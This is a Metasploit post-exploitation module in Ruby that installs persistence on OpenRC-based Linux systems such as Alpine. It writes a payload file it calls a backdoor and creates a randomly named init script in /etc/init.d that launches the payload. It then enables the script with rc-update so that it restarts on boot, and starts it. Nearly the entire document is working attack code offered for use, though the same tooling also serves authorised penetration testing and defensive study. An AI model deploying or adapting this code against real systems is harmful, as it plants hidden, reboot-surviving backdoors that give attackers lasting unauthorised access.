📄 Init OpenRC Persistence

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Unix
      include Msf::Exploit::FileDropper
      include Msf::Exploit::EXE # for generate_payload_exe
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/linux/local/service_persistence'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Init OpenRC Persistence',
            'Description' => %q{
              This module will create a service on the box via OpenRC, and mark it for auto-restart.
              We need enough access to write service files and potentially restart services.
              Verified against alpine 3.21.2
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'h00die',
            ],
            'Platform' => ['unix', 'linux'],
            'Targets' => [
              ['Automatic', {}]
            ],
            'DefaultTarget' => 0,
            'Arch' => [
              ARCH_CMD,
              ARCH_X86,
              ARCH_X64,
              ARCH_ARMLE,
              ARCH_AARCH64,
              ARCH_PPC,
              ARCH_MIPSLE,
              ARCH_MIPSBE
            ],
            'References' => [
              ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
              ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
              ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
              ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
              ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
            ],
            'SessionTypes' => ['shell', 'meterpreter'],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            },
            'DisclosureDate' => '2007-04-05' # openrc release date
          )
        )
    
        register_options(
          [
            OptString.new('SERVICE', [false, 'Name of service to create']),
            OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
          ]
        )
        register_advanced_options(
          [
            OptBool.new('EnableService', [true, 'Enable the service', true])
          ]
        )
      end
    
      def check
        print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
        return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
        return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
        return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
        return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
    
        return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')
    
        CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
      end
    
      def install_persistence
        print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
        backdoor = write_shell(writable_dir)
    
        path = backdoor.split('/')[0...-1].join('/')
        file = backdoor.split('/')[-1]
    
        openrc(path, file)
      end
    
      def write_shell(path)
        file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
        backdoor = "#{path}/#{file_name}"
        vprint_status("Writing backdoor to #{backdoor}")
    
        if payload.arch.first == 'cmd'
          write_file(backdoor, payload.encoded)
          chmod(backdoor, 0o755)
        else
          upload_and_chmodx(backdoor, generate_payload_exe)
        end
    
        @clean_up_rc << "rm #{backdoor}\n"
    
        fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
        backdoor
      end
    
      def openrc(backdoor_path, backdoor_file)
        if payload.arch.first == 'cmd'
          script = %(#!/sbin/openrc-run
    name=#{backdoor_file}
    command=/bin/sh
    command_args="#{backdoor_path}/#{backdoor_file}"
    pidfile="/run/${RC_SVCNAME}.pid"
    command_background="yes"
    )
        else
          script = %(#!/sbin/openrc-run
    name=#{backdoor_file}
    command="#{backdoor_path}/#{backdoor_file}"
    command_args=""
    pidfile="/run/${RC_SVCNAME}.pid"
    command_background="yes"
    )
        end
    
        service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
        service_path = "/etc/init.d/#{service_filename}"
        vprint_status("Writing service: #{service_path}")
        begin
          upload_and_chmodx(service_path, script)
          @clean_up_rc << "rm #{service_path}\n"
        rescue Rex::Post::Meterpreter::RequestError
          print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
        end
    
        fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)
    
        if datastore['EnableService']
          vprint_status('Enabling service')
          cmd_exec("rc-update add '#{service_filename}'")
          @clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
        end
    
        print_good('Starting service')
        cmd_exec("'#{service_path}' start")
      end
    end